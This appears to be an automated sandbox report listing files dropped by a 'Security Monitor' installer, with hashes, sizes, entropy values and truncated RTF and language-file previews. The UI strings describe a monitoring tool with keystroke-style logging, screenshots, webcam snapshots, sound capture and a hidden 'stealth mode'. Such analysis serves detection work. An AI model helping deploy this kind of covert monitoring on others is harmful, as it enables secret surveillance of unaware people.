Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53408
Entropy (8bit):	5.027531716371282
Encrypted:	false
SSDEEP:	768:2QFDC47+EvnaBT2njX8x33HcSAzpdhN0XmQ6ZdgvSSIAPZIAP6IAe+XUNRXp76PC:2QDXJksIA9U
MD5:	3BA78ADB6E868B5B64CA3AFD406569D8
SHA1:	3E8031CC5453C731A67604B495AEC251CAA93843
SHA-256:	C4EAC5BC2B6C11C7ED8741FF1ACCCAB71230E01EDD80403655EE54254673DA83
SHA-512:	28F58E5595C7DA45F3361C18B12014831D49B84D0FB572D331F2CFA71B8B22B16502DCDDFF6486F7767976BA0B379CBB21F467F9843962E4EA8A1E5E889EE79C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50160
Entropy (8bit):	5.04516355825557
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f95+6+WGNgVVhGPNolV9GEijPKcAPv6SAJjZR6TYqEkc0ij82oXTq:2e796RTIA9l
MD5:	D515DFD169E7F576978E8DDF94C8F57C
SHA1:	776FDAA33E7FBEFB6ECCB018DEEBEC03F23977E9
SHA-256:	3B6A48D3D59E44B95C982CD39E4F58CC7FA62237A089BDAC7844838F33C5CCD8
SHA-512:	8A61180120ED053F471874E0A8FA145071E39F89633C5C7085E84EBAC8BCC2E734E68F95D0B5C5C71CF168D5824D044D38C3C330CF2093121019D953C73A3431
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48219
Entropy (8bit):	5.043881411943709
Encrypted:	false
SSDEEP:	768:2eFfzxZCsxIa4IRVIvOM/rvg20xLjIddpuXVfs+zKjkMpTFFJ+kH3q+1yMPhU32n:2e7uFdIA9V
MD5:	8C8176E8F2409E52F66BA8228B6EEEF4
SHA1:	ED1F5902631C6273022B8C1C6582BD15FA76107F
SHA-256:	FFE2EACEDE61AFC4BEF5370CF51CF41430F2660FEF291087150EF773793F5448
SHA-512:	3210FB8DDB601E1CC322213CFAD6F6A463D882CCD2BA21A4ED19414FC074FA3AD597AAEA75F6B14D857EBE7FB54B5B0594F2661EDC7BAEC0BB26C746C841283D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.0360425372195605
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f85+jpnrNgVVhGPN2lV9GEijDKcAPv6SAJjVSkVeUZ53dqaYHErLm:2e720SvIA9l
MD5:	6C1BF76AEB182845D933C43B2FD3AD7E
SHA1:	2B5CF1297A2F29E1181C2231A521E57C207D16EC
SHA-256:	972A316D680C8D41CC19BE92E617D07832A9038CE9E5EEA23F1ABCC5DA983EE4
SHA-512:	7CC2F42278CDCC2DE781C8776095C83DB4739B635CDD93299A0BF08613C198A20F640BA8488C0B0655012D57B59F413EAF7EE57481BD4EBA3F5556E079D304B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46096
Entropy (8bit):	5.034181446312948
Encrypted:	false
SSDEEP:	768:2FFU347wx2Oa75aEZM/rvg20xQBcqtqYepjRBcnjX8x3b99QONKaQB2Ctj+Z/6AI:2Fp7FIA9u
MD5:	B8B7FAFEA8A56DF708E8CE7BB37516F2
SHA1:	FA15A15E9BD2B99CE60BDF170FBD668F89D87C7C
SHA-256:	E28805183757391F057ADA505CD5648E029FBB4D3DBCDDB9B19B8135A11EC113
SHA-512:	C8D9F66F94D32353F59FF2A28153647906B01ECE715A764BA33B907E81B27AE411FE951ECDD039A9BD596B7EEA1CD9CC802991EE74BB8FF71A1BE051B6CC32A3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17468
Entropy (8bit):	4.879377232061119
Encrypted:	false
SSDEEP:	192:f9xAt+/MjlJ/5mOT3Y7hzjeJRz1QIGiGU/F6lDCDjY3qfTmXq6Cf3CxMprBarJKW:f9xAt+/YJRm7hzjqRzlXjUo7Qgo7c8DD
MD5:	C3930BE227C51A5887BFB0F6D8575548
SHA1:	D6A32283BC35FE18207EDAE4626D5D299CE50592
SHA-256:	E50FDC95BC49000FF5DC52A830925CEDF684B2F7100397BFB22D8D5430E920F0
SHA-512:	F42F25DAC17F0096CA2EA998E0B84A1A8CFFABAB5256C24DAAA1210F50DB43D903D481C64C98250EB7A5297684582D085540EA445F6E7156DBA3ADC42410AA57
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Enable logging"..tbStop="Stop"..tbStopHint="Disable logging"..tbFind="Find"..tbFindHint="Search for log information"..tbSetting="Settings"..tbSettingHint="Program settings"..tbAbout="About"..tbAboutHint="About / registration info"..tbHomePage="Home Page"..tbHomePageHint="Go to the Program Home Page"..tbToday="Today"..tbTodayHint="Go to todays log"..tbHide="Hide"..tbHideHint="Stealth mode (no icon in the System Tray)"..tbMinimize="Minimize"..tbMinimizeHint="Minimize to Tray"..tbExit="Exit"..tbExitHint="Exit and stop log"..gbLog="Event Log"..tCurrLogSize="Log Size (Mb)"..tCurrScrSize="Screenshots Size (Mb)"..tCurrSnpSize="Webcam Snapshots size (Mb)"..tCurrSoundsSize="Sound files size (Mb)"..tCurrVideosSize="W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\360_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44577
Entropy (8bit):	5.047991849900316
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsH5GmTF187V63Fq+1h1r1FOZ/6A9b:2amAhHzF187g3Fq+1h1r1FOIA9b
MD5:	91A847C22456099C70F172382B194CBD
SHA1:	E3C2687C4166260A3C70B667341DB4773461D45D
SHA-256:	84D171982B9A0B79099979907F3347B0E21DEC8162F8DB41C22097D89EA4D7AD
SHA-512:	C194CF609F25F2813696E8FA33178917E63FFB6B9BFC2F78A5E7384D97434CC8545C585B3D94829D4F4ABD5BF2A9FB28383EB22ABF8F3166AD3AB875BDE35E28
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\AVG_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44224
Entropy (8bit):	5.048946998383766
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsM5qWUTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhMuF4BaA3F1+1h1r1KDIA9z
MD5:	72509EF33CF9A21325EB2DD67445BA6A
SHA1:	37F7D53B232DE88B3F7D1CDD6813598DD611194D
SHA-256:	6C266D43303DCAC9CE57903481E22442AABD532FFD6E4ADF5C3E4B7820E8CBA8
SHA-512:	00957DDFF315CC324CE9EAAA890EC2712543DEA6ADC8892BCCED84445AF7A8701066FF44708396D63F3F8FEFC1FBEC8EEB687A4A9009632E1644D095300B2542
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Avast_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44198
Entropy (8bit):	5.048748452821434
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsQ5x8tTF4BaVy3F1+1h1r1KDZ/6A95:2amAhQsF4BaA3F1+1h1r1KDIA95
MD5:	B09494F1B4F83DBB2489B542B911DFB3
SHA1:	02BA1EB53181B33E02138D564B00DF6FF7084091
SHA-256:	901AFF931E90289B75F9385BE37787DF1A88D67419623904BD8C9C7AD9CBE21A
SHA-512:	79BDB81018FD674776B10007A0FEAFD3B4A16718ED531EFAFDE80F54A924281A4199A7F1A3005C8FF9BE4E6DE2240C4C480667C0A99E134BBA0BF0A414BFD257
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Avira_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44503
Entropy (8bit):	5.048234089968532
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsr5YJTF187V63F1+1h1r1FOZ/6A9b:2amAhryF187g3F1+1h1r1FOIA9b
MD5:	22F6CDCCE6FACBA92B6D270D8C66B570
SHA1:	7290B603CFA4FB5A44C379220E0694A41138C9B8
SHA-256:	B4BBF6FF64527A29990C52C45852C3A9C25D23A44650A9C78233B2440B731B60
SHA-512:	BCC875F094806C5B461A1C62E8A51F9A03BC213B1B48D0ECA421057EF7371C3C7B57A0FAF5765A6F86975B7B9AF98A64141CCBF8CD7E301D6A1A182C3B9935B8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\Kaspersky_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44558
Entropy (8bit):	5.049062407758663
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsc5NcTF4BaVy3F1+1h1r1KDZ/6A9L:2amAhcWF4BaA3F1+1h1r1KDIA9L
MD5:	16036186160BEB81F13561AE51DCFBED
SHA1:	BB644BD11DABCC9F453A71745D7CF12A1621FEBA
SHA-256:	AE0674BF9ECDCD8A1550E0ECA0529EED66E9786B6029AE6EB5414769205FDAA2
SHA-512:	CEDAD90055D3DE40A431B0FF9FA89D9E2A25E831EC484854F01E04CC953EBBD50D76B23107C5D1446145A4596A721EEBB34B6EFF827C623D894924BEB64B8DA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\McAfee_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	5.037147955886456
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGGASZqeY4sMQi1OkBSyAQdAMeo75Y3kpTBd:2aFknOc7cskl/VGGAS0MDAJZ/6A9S
MD5:	2A08EEECD3328F25905421850E9182BE
SHA1:	EC931D459DAD71B222442AA00412E1E627F343E2
SHA-256:	F7F40C10AE7B09FB3D476FCEA2E2FC7CCA8DF57EE92899A1675B4A1B7D61749D
SHA-512:	D1F92F97F9B9F560A0FC510567A63B8A150759DCE4E25F0AA7B302537E3745FFA9722C144D1FF09308E7F131E92AD1CD5CB91C21B21ECE8B62E7A90B85911C10
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46380
Entropy (8bit):	5.030428428463447
Encrypted:	false
SSDEEP:	768:qqegxdU6T2njX8x3TLjwUtqYepr+pNINnNINGNAAlTuARAhyzc1TOCgX03w3n30j:qqHLIA9R
MD5:	E7F852CDF6B14E79DB92EF3A563FFE70
SHA1:	CEAD99D6CA825878A9040D0F05C04D34DCB48B3F
SHA-256:	C5F6E6F3BEB1F933033207BA5217B357F1257671A5DB08AC5D6E1C484AFF5744
SHA-512:	0F259C1081D3932B0DCA526CE090C3EDEA9C8B40DFE71649F6EED6F948F2FBFE9266C0531BEF728F15ED5969CCC1FE9710EA44903BB2CF49FBD8BA531EBC3D2E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37249
Entropy (8bit):	5.028034136812006
Encrypted:	false
SSDEEP:	768:q4eoxdUjOcPI0QhhiLVutRNQf6zgOG4h/PWvFmZ/6A9D:q4V7UneIA9D
MD5:	0A48D352EE09C07B7AFC4D8FCA754602
SHA1:	A8EF06010F383B0E1DF2C56ABC44E3C28752D99B
SHA-256:	36765A4404110CDE20DBDD48BFB5C7550F38FCD80312627D2465234990A146D2
SHA-512:	5886EF5B32E3619BBCEA35A29332B9EB8BB7E05D2A34C7E9591756E391AC8710886AA52A9A4EF87227F58FE54109EFB3526B905AA1ED75ED93BC3ED7D6EAF871
Malicious:	false
Reputation:	unknown
